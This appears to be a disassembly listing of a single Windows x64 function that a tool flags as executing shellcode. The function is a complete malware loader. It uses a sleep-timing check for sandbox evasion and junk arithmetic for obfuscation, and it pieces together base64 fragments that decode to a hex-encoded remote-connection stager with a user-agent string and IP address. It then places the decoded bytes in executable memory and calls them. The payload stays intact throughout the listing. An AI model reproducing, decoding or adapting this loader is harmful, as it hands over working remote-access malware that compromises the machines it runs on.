Function at 0x40186a
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x620
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
call sub.msvcrt.dll_clock
mov dword [rbp - 4], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, 0x19
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call sub.msvcrt.dll_clock
mov dword [rbp - 8], eax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
movabs rax, 0x954
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x10], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0x19
jl 0x401943
mov eax, dword [rbp - 8]
mov ecx, dword [rbp - 4]
sub eax, ecx
cmp eax, 0x7d
jge 0x401943
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, [0x00403012]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x40196e
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.bPtywVnp
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
jmp 0x4025fe
lea rax, str.OTA5MGZjNDg4M2U0ZjBlOGM4MDAwMDAwNDE1MTQxNTA1MjUxNTY0ODMxZDI2NTQ4OGI1MjYwNDg4YjUy
mov qword [rbp - 0x18], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.MTg0ODhiNTIyMDQ4OGI3MjUwNDgwZmI3NGE0YTRkMzFjOTQ4MzFjMGFjM2
mov qword [rbp - 0x20], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.M2MTdjMDIyYzIwNDFjMWM5MGQ0MTAxYzFlMmVkNTI0MTUxNDg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NTcyOG
mov qword [rbp - 0x28], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.I4MDg4MDAwMDAwNDg4NWMwNzQ2NzQ4MDFkMDUwOGI0ODE4NDQ4YjQwMjA0OTAxZDBlMzU2NDhmZmM5NDE4YjM0ODg0ODAx
mov qword [rbp - 0x30], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.ZDY0ZDMxYzk0ODMxYzBhYzQxYzFjOTBkNDEwMWMxMzhlMDc1ZjE0YzAzNGMyNDA4NDUzOWQxNzVkODU4NDQ
mov qword [rbp - 0x38], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.4YjQwMjQ0OTAxZDA2NjQxOGIwYzQ4NDQ4YjQwMWM0OTAxZDA0MThiMDQ4ODQ4MDFkMDQxNTg0MTU4NWU1OTVhND
mov qword [rbp - 0x40], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.E1ODQxNTk0MTVhNDg4M2VjMjA0MTUyZmZlMDU4NDE1OTVhNDg4YjEyZTk0ZmZm
mov qword [rbp - 0x48], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.ZmZmZjVkNmEwMDQ5YmU3NzY5NmU2OTZlNjU3NDAwNDE1NjQ5ODllNjRjODlmMTQxYmE0Yzc3M
mov qword [rbp - 0x50], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.jYwN2ZmZDU0ODMxYzk0ODMxZDI0ZDMxYzA0ZDMxYzk0MTUwN
mov qword [rbp - 0x58], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.DE1MDQxYmEzYTU2NzlhN2ZmZDVlYjczNWE0ODg5YzE0MWI4NTAwMDAwMDA0ZDMxYzk0MTUxND
mov qword [rbp - 0x60], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.E1MTZhMDM0MTUxNDFiYTU3ODk5ZmM2ZmZkNWViNTk1YjQ4ODljMTQ4MzFkMjQ5ODlkODRkMzFjOTUyNjgwMDA
mov qword [rbp - 0x68], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.yNDA4NDUyNTI0MWJhZWI1NTJlM2JmZmQ1NDg4OWM2NDg4M2MzNTA2YTBh
mov qword [rbp - 0x70], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.NWY0ODg5ZjE0ODg5ZGE0OWM3YzBmZmZmZmZmZjRkMzFjOTUyNTI0MWJhMmQwNjE4N2JmZmQ1ODVjMDBmODU5ZD
mov qword [rbp - 0x78], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.AxMDAwMDQ4ZmZjZjBmODQ4YzAxMDAwMGViZDNlOWU0MDEwMDAwZThhMmZmZmZmZjJmNTY1MjQ0NzEwMG
mov qword [rbp - 0x80], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.MzNzk3YjNmNDE1ODNmZjgyMjdiZTA4MmQwMj
mov qword [rbp - 0x88], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.g4YTgyMTEwZjY4NTY0NDU5YWFlZGY4MWM0YTYwMmU4NDA4OTI4ODU2NmNlZDU1Y
mov qword [rbp - 0x90], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.2JiNGZlZGRkN2U4NjU0NTcxMGIzNDg5OTYxNGU
mov qword [rbp - 0x98], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.4OTk0ZmQ0OTVjZjQyNmE2ZWJmY2I0YzU1NmVmNGJmMT
mov qword [rbp - 0xa0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.hlNjkxY2M5ZGUwMDA1NTczNjU3MjJkNDE2NzY1NmU3NDNhMjA0ZDZmN2E2OTZjNmM2MTJmMzQy
mov qword [rbp - 0xa8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.ZTMwMjAyODYzNmY2ZDcwNjE3NDY5NjI2YzY1M2IyMDRkNTM0OTQ1M
mov qword [rbp - 0xb0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.jAzNzJlMzAzYjIwNTc2OTZlNjQ2Zjc3NzMyMDRlNTQyMDM1MmUzMTNiMjAyZTRlNDU1NDIwNDM0YzUyMjAzMjJlMzAyZTM1MzA
mov qword [rbp - 0xb8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.zNzMyMzczYjIwNDk2ZTY2NmY1MDYxNzQ2ODJlMzIyOTBkMGEwMDQxZjk1Z
mov qword [rbp - 0xc0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.TQzMWM3ZDliNjI0NzQ2NWE1MmE1YjBiZGNjNDgyZTNiNDhiZjE0YTE
mov qword [rbp - 0xc8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.0OTk2MmQyOWNlODYwOTQwMjUw
mov qword [rbp - 0xd0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.N2VlZjI5MGE4M2VmZDRhYWMzNWNlNTRjMTk2MTAxZTRjZTI5NzRmZjYyZWNkNmUyNmEyZTYzYTMwNjIxODliM
mov qword [rbp - 0xd8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.DIxMzM1NmMxODJmNGU2NDY3ZjJkMjg1ZDk3YWI5YWRjZmE0MmYxYzAwOTBkMjc5NmRiNzk1YTc1NDdlYmNiN
mov qword [rbp - 0xe0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.2RjM2JiZTI1NDYyMjI5ZTUwNDQ0OTQwY2M3NGJjZDBiY2JlYWRhM2RjMmQ2MWZmMGM5MGQ4M2
mov qword [rbp - 0xe8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.M5ZTllOGE3ZjNkNTBhMTEwNGQ4Y2EwYzY2MzNiYzA5MjEwY2Y2N2QzZWU0ODRjMzJiYzJmMTU3MDc0Mz
mov qword [rbp - 0xf0], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.hhNDU2YzUwMDE3ZDAwYzA1MGEwMWRlYTc3MTIzZG
mov qword [rbp - 0xf8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.QxMjNmMGQxZDdjOGQzNzlmNTU5ODNmZWM2ZDBlMjdmZjNmMTdiMmFjZjkyYjdmZGQzY2Q1ODgxMTAzZjFiNmUwMjRhMzRhZ
mov qword [rbp - 0x100], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.mQzNTQwMDQxYmVmMGI1YTI1NmZmZDU0ODMxYzliYTAwMDA0MDAwNDFiODAwMTAwMDAwNDFiOTQwMDAwMDAwNDFiY
mov qword [rbp - 0x108], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.TU4YTQ1M2U1ZmZkNTQ4OTM1MzUzNDg4OWU3NDg4OWYxNDg4OWRh
mov qword [rbp - 0x110], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.NDFiODAwMjAwMDAwNDk
mov qword [rbp - 0x118], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, str.4OWY5NDFiYTEyOTY4OWUyZmZkNTQ4
mov qword [rbp - 0x120], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
lea rax, str.ODNjNDIwODVjMDc0YjY2NjhiMDc0ODAxYzM4NWMwNzVkNzU4NTg1ODQ4MDUwMDAwM
mov qword [rbp - 0x128], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
lea rax, str.DAwMDUwYzNlODlmZmRmZmZmMzEzOTMyMmUzMTM2MzgyZTM1MzQyZTMxMzIzOTAwM2FkZTY4YjE
mov qword [rbp - 0x130], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov eax, 0
mov byte [rbp - 0x5da], al
movabs rax, 0x4a9
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x5d9]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x18]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x28]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x38]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x40]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x48]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x50]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x58]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x60]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x68]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x70]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x78]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x80]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x90]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x98]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xa0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xa8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xb0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xb8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xc0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xc8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xd0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xd8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xe0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xe8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xf0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0xf8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x100]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x108]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x110]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x118]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x120]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x128]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x130]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
lea rax, [0x0040399c]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov qword [rbp - 0x5e8], rax
mov eax, dword [section..data]
mov ecx, dword [section..data]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rbp - 0x5e8]
mov r11, rax
lea rax, [rbp - 0x5da]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401800
mov eax, dword [section..data]
mov ecx, dword [section..data]
imul eax, ecx
mov dword [section..data], eax
mov eax, 0x40
mov r9, rax
mov eax, 0x3000
mov r8, rax
movabs rax, 0x4aa
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_VirtualAlloc
mov qword [rbp - 0x5f0], rax
movabs rax, 0x4aa
mov r8, rax
lea rax, [rbp - 0x5da]
mov r11, rax
mov rax, qword [rbp - 0x5f0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memmove
mov rax, qword [rbp - 0x5f0]
mov qword [rbp - 0x5f8], rax
mov r11, qword [rbp - 0x5f8]
call r11
mov eax, dword [section..data]
mov ecx, dword [0x00403004]
add eax, ecx
mov r11, rax
lea rax, [0x0040399e]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
leave
ret